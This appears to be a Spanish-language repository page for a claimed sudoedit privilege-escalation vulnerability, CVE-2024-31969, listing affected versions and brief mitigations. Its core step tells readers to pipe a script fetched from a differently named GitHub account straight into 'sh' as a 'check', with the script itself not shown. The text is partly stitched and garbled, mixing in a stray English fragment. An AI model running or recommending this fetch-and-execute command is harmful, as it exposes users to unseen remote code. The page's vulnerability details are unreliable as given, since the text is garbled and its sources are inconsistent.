gmh5225/cve-2024-31969Proporciona un script de verificación de prueba de concepto y documentación para CVE-2024-31969, una escalada de privilegios local en sudoedit de sudo, incluyendo las versiones afectadas y orientación de mitigación.
CVE-2024-31969 es una vulnerabilidad de escalada de privilegios local en sudo cuando se utiliza el comando sudoedit.
Esta vulnerabilidad se introdujo desde sudo 1.9.0 debido a la forma en que sudoedit valida las variables de entorno del usuario y la propiedad de los archivos de manera incorrecta.
A flaw introduced in sudo 1.9.0 in how
sudoeditvalidated users' environment variables and file ownership.
Esta vulnerabilidad permite que un usuario local con acceso a sudoedit modifique archivos arbitrarios como root mediante la manipulación de variables de entorno como SUDO_EDITOR, o aprovechando symlinks.
| Versión de Sudo | Estado |
|---|---|
| 1.9.0 → 1.9.15p4 | 🔥 Vulnerable |
| 1.9.15p5 en adelante | ✅ Seguro |
| 1.8.x (incluida 1.8.23) | ❌ No afectada |
Ejecute el siguiente comando:
curl -L https://raw.githubusercontent.com/kingfakee7/CVE-2024-31969/main/cve-2024-31969-check.sh | sh
sudo a la versión 1.9.15p5 o posterior.sudoers que permiten sudoedit para usuarios no root.env_keep o env_reset en el archivo /etc/sudoers.Este repositorio se crea con fines educativos y de documentación de seguridad de sistemas.
Queda estrictamente prohibido utilizar esta información para actividades ilegales o sin autorización por escrito del propietario del sistema.
Cualquier forma de uso indebido es responsabilidad exclusiva del usuario.